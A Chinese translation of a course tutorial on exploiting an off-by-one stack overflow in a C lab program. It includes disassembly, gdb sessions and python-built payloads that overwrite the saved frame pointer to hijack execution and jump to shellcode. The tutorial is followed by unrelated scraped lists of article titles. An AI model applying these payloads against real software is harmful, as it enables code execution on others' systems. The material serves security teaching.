原文链接:introduction to software exploits  off-by-one

公开课Introduction to Software Exploits涵盖了简短的基于C语言的off-by-one漏洞,但由于时间关系,讲师并没有介绍如何利用漏洞。为此,我邀请你跟着我一起向编写优美的漏洞利用程序发出挑战。

挑战:

你可以在课程附带的虚拟机实验目录下找到下列漏洞代码fp_overwrite.c:

void func(char *str)
{char buf[256];int i;for (i=0;i<=256;i++)buf[i] = str[i];
}int main(int argc, char **argv)
{func(argv[1]);
}

函数fun的for循环试图遍历并向只有256B的缓冲区写入257个字符,这是一种风险行为。由于用<=符号代替了更为确切的<符号而引发的典型的off-by-one漏洞。这种在栈上比预分配的空间还多写1B的情况,使得漏洞利用在某些情况下变得有机可趁。

拥抱失败:

在开始漏洞利用之前,让我们检查一下漏洞的可利用性。用gcc编译源码(译者注:winxp sp3+vc++6.0亦可)

gcc -g -o fp_overwrite fp_overwrite.c

下面是gcc生成的func函数的反汇编代码片:

<func+0>:    push   ebp
<func+1>:    mov    ebp,esp
<func+3>:    sub    esp,0x110                   ; allocate 272 bytes on the stack
<func+9>:    mov    DWORD PTR [ebp-4],0x0       ; set i = 0
<func+16>:   jmp    0x804834b <func+39>         ; jump to the beginning of the loop
<func+18>:   mov    edx,DWORD PTR [ebp-4]       ; i
<func+21>:   mov    eax,DWORD PTR [ebp-4]       ; i
<func+24>:   add    eax,DWORD PTR [ebp+8]       ; str + i
<func+27>:   mov    al,BYTE PTR [eax]           ; str[i]
<func+29>:   mov    BYTE PTR [ebp+edx-0x104],al ; buf[i] = str[i]
<func+36>:   inc    DWORD PTR [ebp-4]           ; i++
<func+39>:   cmp    DWORD PTR [ebp-4],0x100     ; compare i to 256
<func+46>:   jle    0x8048336 <func+18>         ; loop while i <= 256
<func+48>:   leave
<func+49>:   ret

off-by-one漏洞发生在<func+46>:jle指令替换了更精确的jl指令。让我们看看栈在写人256个"A"后,再追加一个使得栈溢出的"B"的布局对比图:

(左为写256个"A",右为再追加一个"B")


上面的堆栈布局显示:最重要的字节---循环体的索引变量i----被覆盖为0x43.请注意了,因为指令inc DWORD ptr [ebp-4]的缘故,原本我们试图写入0x42(ASCII码'B')被替代为0x43。这种加一指令有时会使得漏洞变得很迷惑。

回到漏洞利用上来。因为gcc修改了栈变量,我们最多是在0x101-0x200之间修改i的值。当循环在指令cmp DWORD PTR [ebp-4],0x100结束后,我们根本就不能实现任意执行代码的目的。虽然目前编译的程序不能被利用,但我们至少知道了能造成破坏的条件了:缓冲区的被分配的起始地址比变量i分配地址更高。

小插曲:

现在我们用Corey最钟爱的编译器----Tiny C来编译同一份代码:

tcc -g -o fp_overwrite fp_overwrite.c

来看下TCC生成的汇编代码:

<func+0>:    push   ebp
<func+1>:    mov    ebp,esp
<func+3>:    sub    esp,0x104
<func+9>:    mov    eax,0x0
<func+14>:   mov    DWORD PTR [ebp-0x104],eax
<func+20>:   mov    eax,DWORD PTR [ebp-0x104]
<func+26>:   cmp    eax,0x100
<func+32>:   jg     0x8048248 <func+94>
<func+38>:   jmp    0x8048228 <func+62>
<func+43>:   mov    eax,DWORD PTR [ebp-0x104]
<func+49>:   mov    ecx,eax
<func+51>:   add    eax,0x1
<func+54>:   mov    DWORD PTR [ebp-0x104],eax
<func+60>:   jmp    0x80481fe <func+20>
<func+62>:   lea    eax,[ebp-0x100]
<func+68>:   mov    ecx,DWORD PTR [ebp-0x104]
<func+74>:   add    eax,ecx
<func+76>:   mov    ecx,DWORD PTR [ebp+8]
<func+79>:   mov    edx,DWORD PTR [ebp-0x104]
<func+85>:   add    ecx,edx
<func+87>:   movsx  edx,BYTE PTR [ecx]
<func+90>:   mov    BYTE PTR [eax],dl
<func+92>:   jmp    0x8048215 <func+43>
<func+94>:   leave
<func+95>:   ret

看!256B的缓冲区在堆栈上分配的地址比变量i更高:

<func+9>:    mov    eax,0x0
<func+14>:   mov    DWORD PTR [ebp-0x104],eax ; i = 0
...
<func+62>:   lea    eax,[ebp-0x100]           ; &buf

上面的堆栈布局使我们有机会覆盖部分堆栈并最终影响代码的执行。让我们在调试器下启动程序并观察影响:

(gdb) r `python -c 'print "A"*256 + "B"'`
Starting program: /home/student/labs/fp_overwrite `python -c 'print "A"*256 + "B"'`Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

这是来自调试器最好的错误信息。不过在此之前我们有些额外的工作:我们需要精确的知道EIP是怎么被设置为0x41414141的。

溢出分析:

本节我们将深入学习执行流。在堆栈溢出前后下断点:

(gdb) break *func+3
Breakpoint 1 at 0x80481ed: file fp_overwrite.c, line 4.
(gdb) break *func+94
Breakpoint 2 at 0x8048248: file fp_overwrite.c, line 9.

用相同的大小的缓冲区运行程序,将精确显示是什么导致了覆盖

(gdb) r `python -c 'print "A"*256 + "B"'`
Starting program: /home/student/labs/fp_overwrite `python -c 'print "A"*256 + "B"'`Breakpoint 1, 0x080481ed in func () at fp_overwrite.c:4
4       {
(gdb) x/4x $ebp-8
0xbffff464:     0x08048280      0x00000000      0xbffff478      0x08048261buf[247-251]    buf[252-256]    saved ebp       ret addr
(gdb) c
Continuing.Breakpoint 2, 0x08048248 in func () at fp_overwrite.c:9
9                       buf[i] = str[i];
(gdb) x/4x $ebp-8
0xbffff464:     0x41414141      0x41414141      0xbffff442 <-+  0x08048261buf[247-251]    buf[252-256]    saved ebp    |  ret addr|+- buf[257]

啊哈!saved ebp的最低字节被覆盖为0x42-那个多余的第257字节。但是,我们需要花上一点时间来搞明白0x41414141是从哪来的

(gdb) x/2i $eip
0x8048248 <func+94>:    leave
0x8048249 <func+95>:    ret

在循环结束后,有一段标准的C语言epilogue(函数清理代码).leave指令等效于mov esp,ebp/pop ebp,因此,被覆盖的saved ebp值,0xbffff442,将被pop ebp指令恢复到真实的EBP寄存器中:

(gdb) ni
(gdb) i r $ebp
ebp            0xbffff442       0xbffff442

既然现在ebp寄存器包含了被覆盖的值,让我们看看函数结束后会返回到哪:

(gdb) ni
(gdb) x/3i $eip
0x8048261 <main+23>:    add    esp,0x4
0x8048264 <main+26>:    leave
0x8048265 <main+27>:    ret

很好!我们已经返回到main函数中,并且还剩几条指令。让我们仔细观察在执行每条指令后esp和ebp的值:

(gdb) ni                  ; add esp,0x4
(gdb) i r $ebp $esp
ebp            0xbffff442
esp            0xbffff478
(gdb) ni                  ; leave
Cannot access memory at address 0x41414145

糟糕,看着像是leave指令破坏了gdb跟踪栈帧的能力。这是怎么了?

(gdb) i r $ebp $esp
ebp            0x41414141       0x41414141
esp            0xbffff446       0xbffff446

leave指令中的mov esp,ebp部分把0xbffff442赋值给esp。leave指令的剩下部分,pop ebp指令,除了把值传给ebp的同时还使得esp加4,这正好是被用户填充了'A'的缓冲区的一部分。

(gdb) x/4x 0xbffff442
0xbffff442:     0x41414141      0x41414141      0x41414141      0x41414141

下一条ret指令,它将esp指向的值放置到eip中:

(gdb) x/x $esp
0xbffff446:     0x41414141

正如预期的那样,esp来源于ebp,它现在指向ebp+4这仍在用户控制的缓存中。一旦ret指令执行,无论当前栈顶值是什么都会被执行:

(gdb) ni                  ; ret
0x41414141 in ?? ()

因此,漏洞利用取决于在main函数执行前,先创建一个被覆盖的栈帧saved ebp。现在我们准备写一个利用程序

你有权限吗?(我真不知道怎么翻译powwwweerrr了)

这会,我们有足够的信息来重定向代码流到任意地址了。我们再来回顾一下溢出后栈帧的状态:

(gdb) x/4x $ebp-8
0xbffff464:     0x41414141      0x41414141      0xbffff442 <-+  0x08048261buf[247-251]    buf[252-256]    saved ebp    |  ret addr|+- buf[257]

如果我们将saved ebp(原文中作者写的是ebp,不过我觉得用saved ebp比较好理解)的值覆盖为0xbffff464,那么main函数中的ret指令将会去执行地址saved ebp+4,即0xbffff468处的指令。让我们来试试:

(gdb) r `python -c 'print "A"*(256-4) + "BBBB" + "\x64"'`
...
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

漂亮,我们现在可以控制执行流了。让我们看看栈帧被破坏后又是怎样跳到0x42424242去执行的:

现在,你可以简单的用shellcode在内存某处的绝对地址替换0x42424242并执行一段代码:

(gdb) r `python -c 'print "\xcc"*(256-4) + "\x6c\xf3\xff\xbf" + "\x64"'`
...
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff36d in ?? ()
(gdb) x/5i $eip
0xbffff36d:     int3
0xbffff36e:     int3
0xbffff36f:     int3
0xbffff370:     int3
0xbffff371:     int3

注意了:为了便于说明,我用0xcc/int 3来代替实际的shellcode
虽然上面的解决方案可能奏效,但他依赖于绝对地址,这太不优雅了!我们能做的更好一点吗?

我还能做的更好!(以下内容是我翻译这篇文章的目的,请仔细阅读)

我们再回过去看看当func函数ret指令执行前堆栈的状态:

(gdb) x/4x $ebp-8
0xbffff464:     0x41414141      0x41414141      0xbffff442 <-+  0x08048261buf[247-251]    buf[252-256]    saved ebp    |  ret addr|+- buf[257]

我们知道当main函数执行到ret指令时,会跳转到func函数中saved ebp+4指向的地址,我们何不把saved ebp也作为返回地址?

(gdb) r `python -c 'print "A"*(256-4) + "\xcc\xcc\xcc\xcc" + "\x68"'`
...
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff469 in ?? ()
(gdb) x/5i $eip
0xbffff469:     int3
0xbffff46a:     int3
0xbffff46b:     int3
0xbffff46c:     push   0x61bffff4
0xbffff471:     (bad)

通过仔细计算ebp(译者注:这里的ebp是指程序返回到main函数后,从saved ebp中恢复过来的ebp),使它精确的指向它之后的4B,就能让main函数中的ret指令返回到同一个地址,而不用硬编码为绝对地址。让我们看下两张溢出后栈帧图,使问题变得清晰:

(译者注:原文写的有点晦涩,理解起来费劲,需要解释一下。测试程序运行在关闭随机地址加载和DEP的环境下。

0.作者的意思是这样的,在func函数中,栈内存buf[252-256]和saved ebp两者地址相连,通过off-by-one溢出,使得func函数保存在栈上的栈桢saved ebp的值被覆盖为buf[252-256]所在的地址(堆栈尾部最后4B)。当程序回到main函数中执行完指令流mov esp,ebp; pop ebp;后esp指向上面右图中[ret addr]:0xbffff468,而ebp指向0xbffff464,这就是原文中作者说的计算ebp使其指向之后4B。

为什么会这样?让我们来推演一下:

1.func函数退出前,通过mov esp,ebp;pop ebp;从saved ebp恢复出main函数的栈帧。由于我们仅修改了saved ebp的值,并没有修改真实的ebp寄存器,所以执行mov esp,ebp指令后寄存器esp中的值保持为main函数进入func函数前的值,因此func函数中的ret指令能正常返回到main函数中;但是在func函数中执行pop ebp时,会将被覆盖的saved ebp的值传给ebp寄存器,然后返回到main函数。saved ebp就像一个延迟炸弹,off-by-one对func函数没有任何影响,被炸到的是无辜的main函数。

2.main函数即将退出前执行mov esp,ebp;寄存器esp被修改为saved ebp中的值,即,0xbffff468;main函数随即执行pop ebp;寄存器esp=esp+4,即,esp=0xbffff46C。当执行ret指令时,程序将从栈顶指针[esp]中取返回地址。当然,它取到的返回地址是0xbffff468,这个地址指向func函数中buf[252-256]。最终main函数跳进buf[252-256]中执行。

3.作者在buf[252-256]中安排了一条短跳转指令,用于向前跳转36B。

总结起来,off-by-one利用了函数执行ret指令前esp=最近一次调用的函数的saved ebp+4的特点,使ret指令从[saved ebp+4]中取返回地址。

)
地址0xbffff468处的4B可以被用来做一个短跳转指令(译者注:其实只用了前2B),让程序跳到shellcode中。让我们用一段课件中另一段大小为34字节的shellcode。回跳34+2字节的Opcode为:\xeb\xdc:(译者注:短跳转指令本身占用2B,执行这段跳转语句前eip已经指向下一条指令,所以要往前跳转34B+2B)

注意:如果你想向前跳得更远,只需要使短跳转的目的地址处再安排另一条5B的长跳转,这样就能让shellcode超过128B

最终,我们的shellcode的负载部分长成这样:

(译者注:shellcode的负载部分指字符串数组shellcode中的内容,紧贴在218个字符'A'之后,4B的短跳转的Opcode紧跟在shellcode之后,最后是覆盖saved ebp最低字节的\x68。所以,传个main函数的命令行参数为|218*'A'|shellcode|\xeb\xdc\xcc\xcc|\x68|)

introduction to software exploits off-by-one 一字节溢出相关推荐

  1. 【翻译】大规模软件多样性作为防御机制——Massive-Scale Software Diversity as a Defense Mechanism

    大规模软件多样性作为防御机制 [文章为google-translate的直译结果,最近暂时没有时间修改翻译内容.google-translate的翻译结果中有很多明显的错误,遇到类似的问题,请读者结合 ...

  2. 个人网页、博客、课程--不断更新

    论文和相关代码 :https://paperswithcode.com/ Caiming Xiong http://www.stat.ucla.edu/~caiming/ 论文,代码,博客 肖小粤的啵 ...

  3. 2008最新2000多本最有价值的程序设计电子教程下载

    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z OT A 回顶部 A Computational Differential Geometry A ...

  4. 2019 6月编程语言_今年六月您可以开始学习650项免费的在线编程和计算机科学课程...

    2019 6月编程语言 Seven years ago, universities like MIT and Stanford first opened up free online courses ...

  5. 夏天和空调_您可以在今年夏天开始学习650项免费的在线编程和计算机科学课程...

    夏天和空调 Seven years ago, universities like MIT and Stanford first opened up free online courses to the ...

  6. 框架依赖注入和普通依赖注入_依赖注入快速入门:它是什么,以及何时使用它...

    框架依赖注入和普通依赖注入 by Bhavya Karia 通过Bhavya Karia 介绍 (Introduction) In software engineering, dependency i ...

  7. 计算机编程课程顺序_您可以在6月开始参加630项免费的在线编程和计算机科学课程...

    计算机编程课程顺序 Six years ago, universities like MIT and Stanford first opened up free online courses to t ...

  8. 研究项目: JBoss架构分析

    原文转自:http://www.huihoo.org/jboss/jboss.cn.html 研究项目: JBoss架构分析 Jenny Liu School of Information Techn ...

  9. “63个国外优秀测试站点链接”和其他相关资料,排除了目前已失效的网站和资料链接。...

    参考了"63个国外优秀测试站点链接"和其他相关资料,排除了目前已失效的网站和资料链接. 在此分享,同时欢迎大家补充. http://groups.yahoo.com/group/L ...

最新文章

  1. c语言实验七 函数实验报告,C语言实验七函数实验报告.doc
  2. CSS3 Filter的十种特效
  3. jQuery 插件 输入框focus效果 编写自己的插件
  4. 如何修复修复损坏的TAU G2的.u2文件
  5. java base64解码出错_Java Base64解码错误及解决方法
  6. 总结之:CentOS 6.4系统裁减详解及装载网卡步骤
  7. 华为云FusionInsight助力宇宙行打造金融数据湖新标杆
  8. Spring 事务传播原理及数据库事务操作原理
  9. first-class type 一等类型的含义
  10. ORA-00054 resource busy and acquire with NOWAIT specified Cause 错误解决方法
  11. Spring框架最终注解标签注入方法
  12. OLEDB, ODEB, ADO.NET Abbreviation
  13. JavaScript之网页对话框
  14. 【AI面试题】随机森林算法的原理、随机性、优缺点
  15. 电子系统综合设计作业笔记
  16. windows server 2019 安装CA-证书服务器
  17. word打开文档很久很慢_word文档打开速度慢的几个原因和解决方法
  18. 咸阳师范学院计算机学院女生多嘛,咸阳师范学院宿舍条件怎么样
  19. CorelDRAW 入门知识
  20. 怎么验证mysql安装成功_mysql如何验证是否安装成功

热门文章

  1. kicad最小布线宽度默认是多少_智能家居装修布线详解
  2. 苹果库克赢得最佳CEO声誉的10个理由
  3. xjar 对Spring-Boot JAR 包加密运行工具
  4. 个人网站备案之如何取网站名称那点事儿?
  5. PV操作每日一题-售票问题
  6. 面试官:说说new操作符具体都干了什么?
  7. 浅谈replaceAll的用法
  8. JAVA 生成数据表图标LOGO二维码
  9. 史上最全网络端口号大全,网络工程师必备!
  10. ASP.NET Identity简介